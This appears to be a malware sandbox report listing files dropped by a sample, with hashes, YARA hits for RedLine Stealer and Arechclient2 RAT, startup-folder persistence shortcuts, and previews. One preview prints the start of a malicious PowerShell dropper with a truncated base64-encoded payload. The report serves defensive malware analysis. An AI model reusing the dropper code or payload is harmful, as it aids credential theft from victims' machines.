Preview:	@...e...........K.....................:.%............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\68037a12

Download File

Process:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
File Type:	PNG image data, 3648 x 956, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1648895
Entropy (8bit):	7.994382883609411
Encrypted:	true
SSDEEP:	24576:W9yYfRKmos6zoFul5gfg514mrKyAenm8KAdi5TdVJENDH3dV4qP9k3jqV6ivJ4:cyYfdosyoFulxTrOMd9NT3dO6eP84
MD5:	9E31991A93A6C781884E89A8572F5EA0
SHA1:	4B83364234B879525CE91BBAA5226E91749491ED
SHA-256:	ECB718AF37EC5B9C8B6A1F5AA535DF409CAD971852B01DA72DFA3950DD51693A
SHA-512:	1D8DA914FE1F7A164696B52B4D1FAB12BB4DEFE0E09C94F862EDAD3E2BD7727A5004DF362280CA47B7CC8A1CA6C8D3EC39A6B4D90E77779CE609C35E004E436F
Malicious:	false
Preview:	.PNG........IHDR...@.........$..p.. .IDATx..;.$..z.....{-..._...F....!.....(....C...l.V......=.HSC.JBw.+_q....y""......;~._?.3+.z0..........+A........:.m........h.a.._7.....R.[.s..i..u......G..!..B...G8.3.h...0..G...G..........,......r).......x)rw)%.,K.....\JkM....g..<.....])..R.e.m.Bp..K1.....]..+....u..8.\|].d.....A..X...........=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@.......o..7~.#B_.c...V..D.4..}..............!.R.8....?..0.p.... A...M6.>..H.],.L-4.....,_..\|.g...#..+...cxX>h..J1..tY.j!.cT.}'..a............W..N......?cl.'..?....\|K...3....&.8.GfN..%.>K..\|.mK@K...N.....$_*...D..&.I>8H.RxJTZ.2..p.\|)....U.gwl1....v.....Dx....... p......=.T./.J\|....>$.o..'.d_......o'..&.R.=......B.@e..}.w..7..G...(.. C.......T......#.......%.}..4.y....0.o..Bx.....>0.7.

C:\Users\user\AppData\Local\Temp\693c3c03

Download File

Process:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
File Type:	data
Category:	dropped
Size (bytes):	1518200
Entropy (8bit):	7.76521071744488
Encrypted:	false
SSDEEP:	24576:xeLXBhXa50sZ2oAUn9lz/uAlsFmO5R3FTzM3sW8yFFO10vzM9:oLTmvyUPfsM0nzMFB9M9
MD5:	CCF175934AA8B36E986535BD767A039D
SHA1:	5AFC0109A399449975BD6A42C0371B4476EBB7F8
SHA-256:	63B061E26BA3DC9144520AD082D3CDE2F5A9AFE2D46D63D8F2009F4F0B594E36
SHA-512:	473EDE65B9AB839CFB146391FA68C4E0532A1B455DF2F27C9DF63FCAD67AFBC75347652E00374E4511C4AD6E820A2C79A0E1FA0971A82712CDEB21F523B7AE24
Malicious:	false
Preview:	.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................US.UW..HN.fl..rw.}m..cp.`b..4N.a_.{d..yp.`b..as..............................................{J.`j.}y.l.......................................................................................{@..uw.zp..z`......................................................................................CJ.]Q..Yj.{p.`-.@_.un.{q......................................................................&-..!3..#..........................................

C:\Users\user\AppData\Local\Temp\7e460874

Download File

Process:	C:\Users\user\AppData\Roaming\sto\coml.exe
File Type:	PNG image data, 3648 x 956, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1648895
Entropy (8bit):	7.994382883609411
Encrypted:	true
SSDEEP:	24576:W9yYfRKmos6zoFul5gfg514mrKyAenm8KAdi5TdVJENDH3dV4qP9k3jqV6ivJ4:cyYfdosyoFulxTrOMd9NT3dO6eP84
MD5:	9E31991A93A6C781884E89A8572F5EA0
SHA1:	4B83364234B879525CE91BBAA5226E91749491ED
SHA-256:	ECB718AF37EC5B9C8B6A1F5AA535DF409CAD971852B01DA72DFA3950DD51693A
SHA-512:	1D8DA914FE1F7A164696B52B4D1FAB12BB4DEFE0E09C94F862EDAD3E2BD7727A5004DF362280CA47B7CC8A1CA6C8D3EC39A6B4D90E77779CE609C35E004E436F
Malicious:	false
Preview:	.PNG........IHDR...@.........$..p.. .IDATx..;.$..z.....{-..._...F....!.....(....C...l.V......=.HSC.JBw.+_q....y""......;~._?.3+.z0..........+A........:.m........h.a.._7.....R.[.s..i..u......G..!..B...G8.3.h...0..G...G..........,......r).......x)rw)%.,K.....\JkM....g..<.....])..R.e.m.Bp..K1.....]..+....u..8.\|].d.....A..X...........=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@.......o..7~.#B_.c...V..D.4..}..............!.R.8....?..0.p.... A...M6.>..H.],.L-4.....,_..\|.g...#..+...cxX>h..J1..tY.j!.cT.}'..a............W..N......?cl.'..?....\|K...3....&.8.GfN..%.>K..\|.mK@K...N.....$_*...D..&.I>8H.RxJTZ.2..p.\|)....U.gwl1....v.....Dx....... p......=.T./.J\|....>$.o..'.d_......o'..&.R.=......B.@e..}.w..7..G...(.. C.......T......#.......%.}..4.y....0.o..Bx.....>0.7.

C:\Users\user\AppData\Local\Temp\7ec7ce19

Download File

Process:	C:\Users\user\AppData\Roaming\sto\coml.exe
File Type:	data
Category:	dropped
Size (bytes):	1518200
Entropy (8bit):	7.765197101044242
Encrypted:	false
SSDEEP:	24576:1eLXBhXa50sZ2oAUn9lz/uAlsFmO5R3FTzM3sW8yFFO10vzM9:MLTmvyUPfsM0nzMFB9M9
MD5:	859B94BE9D69FAF5B7665A91CD54D343
SHA1:	9E067DD6106C595ADC991EFA76ABE2C7CF47C973
SHA-256:	34DCD033560BEF2797DA54F8F357C169D21D6F8C6121A62FAACA35E9F31CE29B
SHA-512:	93B778EBA5625F82BE9EAA59AE3AD6A9A13196C08FC0571AF6074B57A2A030692D98D6B5E874E75314D28E3EF3BB20EAAEB3DF2ED1A7F7780181D0C06CB1630A
Malicious:	false
Preview:	.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................US.UW..HN.fl..rw.}m..cp.`b..4N.a_.{d..yp.`b..as..............................................{J.`j.}y.l.......................................................................................{@..uw.zp..z`......................................................................................CJ.]Q..Yj.{p.`-.@_.un.{q......................................................................&-..!3..#..........................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0vbjxgnp.u3n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a35505ec.3wh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bszqx32u.wpk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gwojef0z.hjd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Download File

Process:	C:\Users\user\Desktop\9VbeqQbgU4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3699712
Entropy (8bit):	6.605047198768081
Encrypted:	false
SSDEEP:	98304:wJYVM+LtVt3P/KuG2ONG9iqLRQV333K0i:BVL/tnHGYiqlnt
MD5:	6AB2AF20157D2F440E8B22982F6247C5
SHA1:	53C0DA8DE2EE2C50B79913A876EDCD7078897566
SHA-256:	C95F668AB97A0C6650381E0FC1A93AA043E3F899EEF09DD7A3B0837A4298838E
SHA-512:	5ED8B96A65C44F7CAB604440F21B5E2F331C38D2E7CA3EBB26A9C1750AE5E5690225EC0F6530E6C65589DC639FCBCBF9AFA80E85881B6F731118D0089559CB6D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text, with very long lines (65346), with CRLF line terminators
Category:	dropped
Size (bytes):	5758007
Entropy (8bit):	5.998461064087755
Encrypted:	false
SSDEEP:	49152:RjDXnnY5HU7UJYbrLoyHujBrHU1e6Ceihueu8JxQjZjJzHN5v/H79Ibt7rMnuwTK:M
MD5:	F7E2624867775590018CE9586AC1D4A8
SHA1:	6E2E80D1BDE207734647B48D71DC483FF56A29A1
SHA-256:	0547B50B9070C88C19D054D1D2F084F72FE3717BE07265AF0EA4CE87FFD8EBC5
SHA-512:	FA8312DBAC3B24F3D8D09576084F04E7289F2878BD5B4157328FC51259CA918A8874FA1E60B0F095634ABE2F86A64941C74F702FFB52ED80C0310D8622297C2E
Malicious:	true
Preview:	$ErrorActionPreference = "Stop";..Set-Location $Env:AppData;..$installPath = "$Env:AppData\SystemUtil";..if (Test-Path $installPath) {.. Remove-Item "$Env:AppData\tempD.txt";.. Exit;..};..$encodedData = "UEsDBBQAAAAIACQWeFmkiidUYOJBAFhYmgAIAAAAZG9iaS5leGXMXHlwG9d5/7AAiIMUBR4jsZ44gVPLlo/StERRtGyrAC+REo81CYKM01iEiAUJEwSQxcKiWo/FJJ2OqqYO4yYtY7sx08aNZtrJsMdMOJ2xh+1fGtcHU49b9cgM3ak99kzbMEnTKIeDvrf7rj0AgqR8vBlpv33f937f8c7d/cChh2WQAMAD+6FUAlgDo0TgJti2uAD+NgT1n/ibwCu3rLkGX7llaSk2my6E82puRk3Mh+eLBS18TgmrxWy4mE0qangine1o3xe89Th8RIrcC5D8nVoIvNA0Q+u24JNQK/mRc48APHq/Xhd6/DPoP9AjY1QA4MB5QWL/9LL5LA4mfKP5GVQz5TIEeTN2HwYw1bTNwXP4uv4o3DqI+UUY+87t6JqH2RICPPw0TLah+qk56H/RA2WLPAeHHaonX38Uthqwsjmob7TzWzVlQUPXb649YhiEfbeoQSZPtSYTWgLRy5cDABtI5ovo+uIjRIK5ut56rlDQ9U6iuEzNQpmy3po2AG8dNHyHYXQ9PWvHSxqC9Y2GD9CMjXCQU3QxI5Yopnq3/IVNLtKqZXT7ljA/MgdlynqrauDNgxFbHe/bDniqkslNA3S+6NH7CNbRddUm19WaN/D0PkV9i0cQ5Ocd8AoqgiNjoIgmJrrmVZucqSL028Y1/rnKckLxhwyW29eVy2WURNYFxsQGIBxvXyJTUDwxtajUjF0oaMq8HjLClfzRbCHdPZtQ9TYlY1agEBB+wI

C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jotnemib

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786944
Entropy (8bit):	6.80933482022886
Encrypted:	false
SSDEEP:	12288:uvsXZv8km0OHcbGbvzWHz0HnquwMr+g0ssFWylkkoAbtEgIwfNqbYS2VbICKMIUx:ZfPz0HvSg0ssFlSjBcT
MD5:	2B209F07C6251E367835FBF30E7C348E
SHA1:	CD5534D4871AEBA9351941CF548B2E63F492A609
SHA-256:	A499ADF007DF84FC58178A1FD861138C078731760BEA948501259C8E83E19783
SHA-512:	95FE64D09AD91A8DB600969279834E8EF6BBC2371FE3AFDD3D88F351CDDC858A4B247BCBAE1D4351914E0AB720D9372E342E2513C68D64086AFC7C388FC0678D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\jotnemib, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\jotnemib, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\jotnemib, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\kdtvqgf

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786944
Entropy (8bit):	6.80933482022886
Encrypted:	false
SSDEEP:	12288:uvsXZv8km0OHcbGbvzWHz0HnquwMr+g0ssFWylkkoAbtEgIwfNqbYS2VbICKMIUx:ZfPz0HvSg0ssFlSjBcT
MD5:	2B209F07C6251E367835FBF30E7C348E
SHA1:	CD5534D4871AEBA9351941CF548B2E63F492A609
SHA-256:	A499ADF007DF84FC58178A1FD861138C078731760BEA948501259C8E83E19783
SHA-512:	95FE64D09AD91A8DB600969279834E8EF6BBC2371FE3AFDD3D88F351CDDC858A4B247BCBAE1D4351914E0AB720D9372E342E2513C68D64086AFC7C388FC0678D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\kdtvqgf, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\kdtvqgf, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\kdtvqgf, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\rxl

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 07:52:54 2024, mtime=Thu Nov 28 07:52:56 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	831
Entropy (8bit):	5.004174317087067
Encrypted:	false
SSDEEP:	12:8Nph9slcc4rWCI8dY//D/sBLS/wuc3XBhHFWljAWlBrHSqJcKZbtZBmV:8Nph9slgan8+r/sNPuPAiBl+abtZBm
MD5:	511059BBBD2CD8A456DEEF265925339E
SHA1:	1D4F767627E5E0CF9D6F16B8C38988DCF3F9DF09
SHA-256:	6DB4193886825EA4D12A19AE6ED8C650C4055AB43B081548FBC962325620586A
SHA-512:	C5C5B4AE037C5404EB62A037660E39157C8990E535AD0B46968FCF0376C1CD9B732EC30D440B09CA7ED3BA765524E537B4467BBFF275F0124A47F4A2B67E8BB4
Malicious:	false
Preview:	L..................F.... ...&...rA....D.rA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......vk.v....N2..rA..8U..rA......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^\|Y.F...........................%..A.p.p.D.a.t.a...B.V.1.....\|Y.F..Roaming.@......CW.^\|Y.F..............................R.o.a.m.i.n.g.....J.1.....\|Y.F..sto.8......\|Y.F\|Y.F....s:....................~P}.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.F\|Y.F....y.........................c.o.m.l...e.x.e.......Z...............-.......Y.............\......C:\Users\user\AppData\Roaming\sto\coml.exe........\.....\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......216865...........hT..CrF.f4... .W...f....,.......hT..CrF.f4... .W...f....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\tmp1ADF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp979F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2493.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 07:52:54 2024, mtime=Thu Nov 28 07:52:56 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	831
Entropy (8bit):	5.004174317087067
Encrypted:	false
SSDEEP:	12:8Nph9slcc4rWCI8dY//D/sBLS/wuc3XBhHFWljAWlBrHSqJcKZbtZBmV:8Nph9slgan8+r/sNPuPAiBl+abtZBm
MD5:	511059BBBD2CD8A456DEEF265925339E
SHA1:	1D4F767627E5E0CF9D6F16B8C38988DCF3F9DF09
SHA-256:	6DB4193886825EA4D12A19AE6ED8C650C4055AB43B081548FBC962325620586A
SHA-512:	C5C5B4AE037C5404EB62A037660E39157C8990E535AD0B46968FCF0376C1CD9B732EC30D440B09CA7ED3BA765524E537B4467BBFF275F0124A47F4A2B67E8BB4
Malicious:	false
Preview:	L..................F.... ...&...rA....D.rA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......vk.v....N2..rA..8U..rA......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^\|Y.F...........................%..A.p.p.D.a.t.a...B.V.1.....\|Y.F..Roaming.@......CW.^\|Y.F..............................R.o.a.m.i.n.g.....J.1.....\|Y.F..sto.8......\|Y.F\|Y.F....s:....................~P}.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.F\|Y.F....y.........................c.o.m.l...e.x.e.......Z...............-.......Y.............\......C:\Users\user\AppData\Roaming\sto\coml.exe........\.....\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......216865...........hT..CrF.f4... .W...f....,.......hT..CrF.f4... .W...f....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coml.lnk (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Nov 28 07:52:54 2024, mtime=Thu Nov 28 07:52:56 2024, atime=Sun Nov 24 06:49:08 2024, length=10115160, window=hide
Category:	dropped
Size (bytes):	831
Entropy (8bit):	5.004174317087067
Encrypted:	false
SSDEEP:	12:8Nph9slcc4rWCI8dY//D/sBLS/wuc3XBhHFWljAWlBrHSqJcKZbtZBmV:8Nph9slgan8+r/sNPuPAiBl+abtZBm
MD5:	511059BBBD2CD8A456DEEF265925339E
SHA1:	1D4F767627E5E0CF9D6F16B8C38988DCF3F9DF09
SHA-256:	6DB4193886825EA4D12A19AE6ED8C650C4055AB43B081548FBC962325620586A
SHA-512:	C5C5B4AE037C5404EB62A037660E39157C8990E535AD0B46968FCF0376C1CD9B732EC30D440B09CA7ED3BA765524E537B4467BBFF275F0124A47F4A2B67E8BB4
Malicious:	false
Preview:	L..................F.... ...&...rA....D.rA.....WE>..XX........................:..DG..Yr?.D..U..k0.&...&......vk.v....N2..rA..8U..rA......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^\|Y.F...........................%..A.p.p.D.a.t.a...B.V.1.....\|Y.F..Roaming.@......CW.^\|Y.F..............................R.o.a.m.i.n.g.....J.1.....\|Y.F..sto.8......\|Y.F\|Y.F....s:....................~P}.s.t.o.....Z.2.XX..xY$> .coml.exe..B......\|Y.F\|Y.F....y.........................c.o.m.l...e.x.e.......Z...............-.......Y.............\......C:\Users\user\AppData\Roaming\sto\coml.exe........\.....\.R.o.a.m.i.n.g.\.s.t.o.\.c.o.m.l...e.x.e.`.......X.......216865...........hT..CrF.f4... .W...f....,.......hT..CrF.f4... .W...f....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Package.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4317942
Entropy (8bit):	7.996969026924128
Encrypted:	true
SSDEEP:	98304:ZVVtbM83oo5aIvS5UO6eoVRi9nrVbfdGPc3xz+l:fVtbMKogaIvS5lX/GMo
MD5:	E2066AE0BE02DB87EC6267234B0EA65A
SHA1:	24E0B6E9FC90F9B673F1D7FE17D920BD857C776F
SHA-256:	A42611665806C5056FAF4D5CFEADF98878D8132243B2097EF13BA7FCFAB22C0B
SHA-512:	78AB67E046D3CD93EA18CBC6E0399232458EB71E3879DFAAB7163F6A230CCA2ADA609AF6BCC92685E1BF2C9B7EBF2B66AF4CE68C581678421B6B635E2D7572B9
Malicious:	false
